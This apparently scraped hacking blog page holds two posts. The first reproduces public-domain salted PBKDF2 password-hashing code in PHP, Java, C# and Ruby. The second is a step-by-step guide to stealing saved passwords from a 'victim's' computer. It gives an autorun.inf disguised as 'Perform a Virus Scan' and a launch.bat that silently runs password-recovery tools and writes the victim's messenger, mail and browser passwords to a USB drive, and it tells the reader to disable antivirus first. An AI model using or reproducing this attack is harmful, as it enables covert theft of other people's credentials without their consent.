 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 *
 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
 *
 * This implementation of PBKDF2 was originally created by https://defuse.ca
 * With improvements by http://www.variations-of-shadow.com
 */
function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
{
    $algorithm = strtolower($algorithm);
    if(!in_array($algorithm, hash_algos(), true))
        die('PBKDF2 ERROR: Invalid hash algorithm.');
    if($count <= 0 || $key_length <= 0)
        die('PBKDF2 ERROR: Invalid parameters.');

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        // $i encoded as 4 bytes, big endian.
        $last = $salt . pack("N", $i);
        // first iteration
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        // perform the other $count - 1 iterations
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output)
        return substr($output, 0, $key_length);
    else
        return bin2hex(substr($output, 0, $key_length));
}
?>

Java PBKDF2 Password Hashing Code

PHP Source Code Java Source Code ASP.NET (C#) Source Code Ruby (on Rails) Source Code

The following code is a secure implementation of PBKDF2 hashing in Java. The code is in the public domain, so you may use it for any purpose whatsoever.

Download PasswordHash.java

import java.security.SecureRandom;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.SecretKeyFactory;
import java.math.BigInteger;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;

/*
 * PBKDF2 salted password hashing.
 * Author: havoc AT defuse.ca
 * www: http://crackstation.net/hashing-security.htm
 */
public class PasswordHash
{
    public static final String PBKDF2_ALGORITHM = "PBKDF2WithHmacSHA1";

    // The following constants may be changed without breaking existing hashes.
    public static final int SALT_BYTE_SIZE = 24;
    public static final int HASH_BYTE_SIZE = 24;
    public static final int PBKDF2_ITERATIONS = 1000;

    public static final int ITERATION_INDEX = 0;
    public static final int SALT_INDEX = 1;
    public static final int PBKDF2_INDEX = 2;

    /**
     * Returns a salted PBKDF2 hash of the password.
     *
     * @param   password    the password to hash
     * @return              a salted PBKDF2 hash of the password
     */
    public static String createHash(String password)
        throws NoSuchAlgorithmException, InvalidKeySpecException
    {
        return createHash(password.toCharArray());
    }

    /**
     * Returns a salted PBKDF2 hash of the password.
     *
     * @param   password    the password to hash
     * @return              a salted PBKDF2 hash of the password
     */
    public static String createHash(char[] password)
        throws NoSuchAlgorithmException, InvalidKeySpecException
    {
        // Generate a random salt
        SecureRandom random = new SecureRandom();
        byte[] salt = new byte[SALT_BYTE_SIZE];
        random.nextBytes(salt);

        // Hash the password
        byte[] hash = pbkdf2(password, salt, PBKDF2_ITERATIONS, HASH_BYTE_SIZE);
        // format iterations:salt:hash
        return PBKDF2_ITERATIONS + ":" + toHex(salt) + ":" +  toHex(hash);
    }

    /**
     * Validates a password using a hash.
     *
     * @param   password        the password to check
     * @param   correctHash     the hash of the valid password
     * @return                  true if the password is correct, false if not
     */
    public static boolean validatePassword(String password, String correctHash)
        throws NoSuchAlgorithmException, InvalidKeySpecException
    {
        return validatePassword(password.toCharArray(), correctHash);
    }

    /**
     * Validates a password using a hash.
     *
     * @param   password        the password to check
     * @param   correctHash     the hash of the valid password
     * @return                  true if the password is correct, false if not
     */
    public static boolean validatePassword(char[] password, String correctHash)
        throws NoSuchAlgorithmException, InvalidKeySpecException
    {
        // Decode the hash into its parameters
        String[] params = correctHash.split(":");
        int iterations = Integer.parseInt(params[ITERATION_INDEX]);
        byte[] salt = fromHex(params[SALT_INDEX]);
        byte[] hash = fromHex(params[PBKDF2_INDEX]);
        // Compute the hash of the provided password, using the same salt, 
        // iteration count, and hash length
        byte[] testHash = pbkdf2(password, salt, iterations, hash.length);
        // Compare the hashes in constant time. The password is correct if
        // both hashes match.
        return slowEquals(hash, testHash);
    }

    /**
     * Compares two byte arrays in length-constant time. This comparison method
     * is used so that password hashes cannot be extracted from an on-line 
     * system using a timing attack and then attacked off-line.
     * 
     * @param   a       the first byte array
     * @param   b       the second byte array 
     * @return          true if both byte arrays are the same, false if not
     */
    private static boolean slowEquals(byte[] a, byte[] b)
    {
        int diff = a.length ^ b.length;
        for(int i = 0; i < a.length && i < b.length; i++)
            diff |= a[i] ^ b[i];
        return diff == 0;
    }

    /**
     *  Computes the PBKDF2 hash of a password.
     *
     * @param   password    the password to hash.
     * @param   salt        the salt
     * @param   iterations  the iteration count (slowness factor)
     * @param   bytes       the length of the hash to compute in bytes
     * @return              the PBDKF2 hash of the password
     */
    private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
        throws NoSuchAlgorithmException, InvalidKeySpecException
    {
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
        return skf.generateSecret(spec).getEncoded();
    }

    /**
     * Converts a string of hexadecimal characters into a byte array.
     *
     * @param   hex         the hex string
     * @return              the hex string decoded into a byte array
     */
    private static byte[] fromHex(String hex)
    {
        byte[] binary = new byte[hex.length() / 2];
        for(int i = 0; i < binary.length; i++)
        {
            binary[i] = (byte)Integer.parseInt(hex.substring(2*i, 2*i+2), 16);
        }
        return binary;
    }

    /**
     * Converts a byte array into a hexadecimal string.
     *
     * @param   array       the byte array to convert
     * @return              a length*2 character string encoding the byte array
     */
    private static String toHex(byte[] array)
    {
        BigInteger bi = new BigInteger(1, array);
        String hex = bi.toString(16);
        int paddingLength = (array.length * 2) - hex.length();
        if(paddingLength > 0)
            return String.format("%0" + paddingLength + "d", 0) + hex;
        else
            return hex;
    }

    /**
     * Tests the basic functionality of the PasswordHash class
     *
     * @param   args        ignored
     */
    public static void main(String[] args)
    {
        try
        {
            // Print out 10 hashes
            for(int i = 0; i < 10; i++)
                System.out.println(PasswordHash.createHash("p\r\nassw0Rd!"));

            // Test password validation
            boolean failure = false;
            System.out.println("Running tests...");
            for(int i = 0; i < 100; i++)
            {
                String password = ""+i;
                String hash = createHash(password);
                String secondHash = createHash(password);
                if(hash.equals(secondHash)) {
                    System.out.println("FAILURE: TWO HASHES ARE EQUAL!");
                    failure = true;
                }
                String wrongPassword = ""+(i+1);
                if(validatePassword(wrongPassword, hash)) {
                    System.out.println("FAILURE: WRONG PASSWORD ACCEPTED!");
                    failure = true;
                }
                if(!validatePassword(password, hash)) {
                    System.out.println("FAILURE: GOOD PASSWORD NOT ACCEPTED!");
                    failure = true;
                }
            }
            if(failure)
                System.out.println("TESTS FAILED!");
            else
                System.out.println("TESTS PASSED!");
        }
        catch(Exception ex)
        {
            System.out.println("ERROR: " + ex);
        }
    }

}

ASP.NET (C#) Password Hashing Code

PHP Source Code Java Source Code ASP.NET (C#) Source Code Ruby (on Rails) Source Code

The following code is a secure implementation of salted hashing in C# for ASP.NET. It is in the public domain, so you may use it for any purpose whatsoever.

Download PasswordHash.cs

If you need compatible PHP and C# implementations, see here.

using System;
using System.Text;
using System.Security.Cryptography;

namespace PasswordHash
{
    /// <summary>
    /// Salted password hashing with PBKDF2-SHA1.
    /// Author: havoc AT defuse.ca
    /// www: http://crackstation.net/hashing-security.htm
    /// Compatibility: .NET 3.0 and later.
    /// </summary>
    public class PasswordHash
    {
        // The following constants may be changed without breaking existing hashes.
        public const int SALT_BYTE_SIZE = 24;
        public const int HASH_BYTE_SIZE = 24;
        public const int PBKDF2_ITERATIONS = 1000;

        public const int ITERATION_INDEX = 0;
        public const int SALT_INDEX = 1;
        public const int PBKDF2_INDEX = 2;

        /// <summary>
        /// Creates a salted PBKDF2 hash of the password.
        /// </summary>
        /// <param name="password">The password to hash.</param>
        /// <returns>The hash of the password.</returns>
        public static string CreateHash(string password)
        {
            // Generate a random salt
            RNGCryptoServiceProvider csprng = new RNGCryptoServiceProvider();
            byte[] salt = new byte[SALT_BYTE_SIZE];
            csprng.GetBytes(salt);

            // Hash the password and encode the parameters
            byte[] hash = PBKDF2(password, salt, PBKDF2_ITERATIONS, HASH_BYTE_SIZE);
            return PBKDF2_ITERATIONS + ":" +
                Convert.ToBase64String(salt) + ":" +
                Convert.ToBase64String(hash);
        }

        /// <summary>
        /// Validates a password given a hash of the correct one.
        /// </summary>
        /// <param name="password">The password to check.</param>
        /// <param name="correctHash">A hash of the correct password.</param>
        /// <returns>True if the password is correct. False otherwise.</returns>
        public static bool ValidatePassword(string password, string correctHash)
        {
            // Extract the parameters from the hash
            char[] delimiter = { ':' };
            string[] split = correctHash.Split(delimiter);
            int iterations = Int32.Parse(split[ITERATION_INDEX]);
            byte[] salt = Convert.FromBase64String(split[SALT_INDEX]);
            byte[] hash = Convert.FromBase64String(split[PBKDF2_INDEX]);

            byte[] testHash = PBKDF2(password, salt, iterations, hash.Length);
            return SlowEquals(hash, testHash);
        }

        /// <summary>
        /// Compares two byte arrays in length-constant time. This comparison
        /// method is used so that password hashes cannot be extracted from
        /// on-line systems using a timing attack and then attacked off-line.
        /// </summary>
        /// <param name="a">The first byte array.</param>
        /// <param name="b">The second byte array.</param>
        /// <returns>True if both byte arrays are equal. False otherwise.</returns>
        private static bool SlowEquals(byte[] a, byte[] b)
        {
            uint diff = (uint)a.Length ^ (uint)b.Length;
            for (int i = 0; i < a.Length && i < b.Length; i++)
                diff |= (uint)(a[i] ^ b[i]);
            return diff == 0;
        }

        /// <summary>
        /// Computes the PBKDF2-SHA1 hash of a password.
        /// </summary>
        /// <param name="password">The password to hash.</param>
        /// <param name="salt">The salt.</param>
        /// <param name="iterations">The PBKDF2 iteration count.</param>
        /// <param name="outputBytes">The length of the hash to generate, in bytes.</param>
        /// <returns>A hash of the password.</returns>
        private static byte[] PBKDF2(string password, byte[] salt, int iterations, int outputBytes)
        {
            Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(password, salt);
            pbkdf2.IterationCount = iterations;
            return pbkdf2.GetBytes(outputBytes);
        }
    }
}

Ruby (on Rails) Password Hashing Code

PHP Source Code Java Source Code ASP.NET (C#) Source Code Ruby (on Rails) Source Code

The following is a secure implementation of salted PBKDF2 password hashing in Ruby. The code is public domain, so you may use it for any purpose whatsoever.

Download PasswordHash.rb

require 'securerandom'
require 'openssl'
require 'base64'

# Salted password hashing with PBKDF2-SHA1.
# Authors: @RedragonX (dicesoft.net), havoc AT defuse.ca 
# www: http://crackstation.net/hashing-security.htm
module PasswordHash

  # The following constants can be changed without breaking existing hashes.
  PBKDF2_ITERATIONS = 1000
  SALT_BYTE_SIZE = 24
  HASH_BYTE_SIZE = 24

  HASH_SECTIONS = 4
  SECTION_DELIMITER = ':'
  ITERATIONS_INDEX = 1
  SALT_INDEX = 2
  HASH_INDEX = 3

  # Returns a salted PBKDF2 hash of the password.
  def self.createHash( password )
    salt = SecureRandom.base64( SALT_BYTE_SIZE )
    pbkdf2 = OpenSSL::PKCS5::pbkdf2_hmac_sha1(
      password,
      salt,
      PBKDF2_ITERATIONS,
      HASH_BYTE_SIZE
    )
    return ["sha1", PBKDF2_ITERATIONS, salt, Base64.encode64( pbkdf2 )].join( SECTION_DELIMITER )
  end

  # Checks if a password is correct given a hash of the correct one.
  # correctHash must be a hash string generated with createHash.
  def self.validatePassword( password, correctHash )
    params = correctHash.split( SECTION_DELIMITER )
    return false if params.length != HASH_SECTIONS

    pbkdf2 = Base64.decode64( params[HASH_INDEX] )
    testHash = OpenSSL::PKCS5::pbkdf2_hmac_sha1(
      password,
      params[SALT_INDEX],
      params[ITERATIONS_INDEX].to_i,
      pbkdf2.length
    )

    return pbkdf2 == testHash
  end

  # Run tests to ensure the module is functioning properly.
  # Returns true if all tests succeed, false if not.
  def self.runSelfTests
    puts "Sample hashes:"
    3.times { puts createHash("password") }

    puts "\nRunning self tests..."
    @@allPass = true

    correctPassword = 'aaaaaaaaaa'
    wrongPassword = 'aaaaaaaaab'
    hash = createHash(correctPassword)

    assert( validatePassword( correctPassword, hash ) == true, "correct password" )
    assert( validatePassword( wrongPassword, hash ) == false, "wrong password" )

    h1 = hash.split( SECTION_DELIMITER )
    h2 = createHash( correctPassword ).split( SECTION_DELIMITER )
    assert( h1[HASH_INDEX] != h2[HASH_INDEX], "different hashes" )
    assert( h1[SALT_INDEX] != h2[SALT_INDEX], "different salt" )

    if @@allPass
      puts "*** ALL TESTS PASS ***"
    else
      puts "*** FAILURES ***"
    end

    return @@allPass
  end

  def self.assert( truth, msg )
    if truth
      puts "PASS [#{msg}]"
    else
      puts "FAIL [#{msg}]"
      @@allPass = false
    end
  end

end

PasswordHash.runSelfTests

Article and code written by Defuse Security.

'Hacking' 카테고리의 다른 글

CVE-2013-2251 Apache Struts2 Remote Shell Exploit  (1) 2013.07.19
unlock android password  (0) 2013.07.18
Stealing saved passwords from your friend’s laptop  (0) 2013.07.11
Cisco VoIP Hijacking  (0) 2013.06.04
NMAP : information gathering with mmap  (0) 2013.02.17
Posted by CEOinIRVINE
l

Just the trick you might be interested in. Not really a hacker’s stuff, just follow the steps and you can do it without being hooked up in the middle of the process.

This trick works in all windows version up-to Windows Vista. We basically use the autorun.inf file for this, which runs automatically in operating systems up-to Vista, but not supported in Windows 7. That doesn’t mean that its not of any use for Windows7 users. I will tell you everything about how to proceed with this.

Before going to the main exploitation, want to tell you something about the tools you need for this:

  • MessenPass- Its the password recovery tool that reveals the passwords of instant messenger applications such as gtalk, yahoo messenger, etc.
  • Mail PassView- This is for stored password viewing for Outlook Express, Windows Mail, etc.
  • IE Passview- This is a tool that helps us to view stored passwords in internet explorer.
  • Password Fox- The same as previous one, just that it is for Mozilla Firefox.

Generally people store their login details into the browser to avoid unnecessary typing usernames and passwords at the next login. But that’s what we need for this.

Note:Kindly disable your antivirus before performing these steps

Now we are almost ready to go!!

1.First of all download the tools i described, or at least one of them for testing this on your pc/laptop, and copy the .exe files in your USB pen drive i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

save the Notepad and rename it from New Text Document.txt to autorun.inf, renaming through command prompt might be the easier way.

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it corresponding to the tools you are using.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB pen drive.

Now your USB Pen drive is ready!! All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Launch virus scan) as soon as you will click it, again the window appears, press enter. Now you can see a new text file gets created in your USB Pen Drive. Open that text file, you can see an organized list of passwords from the victim’s pc. It has been tested by me, and it works most beautifully.

'Hacking' 카테고리의 다른 글

unlock android password  (0) 2013.07.18
salted password hashing  (0) 2013.07.11
Cisco VoIP Hijacking  (0) 2013.06.04
NMAP : information gathering with mmap  (0) 2013.02.17
Cookie with HTTPOnly Flag (XSS Protection)  (1) 2013.02.02
Posted by CEOinIRVINE
l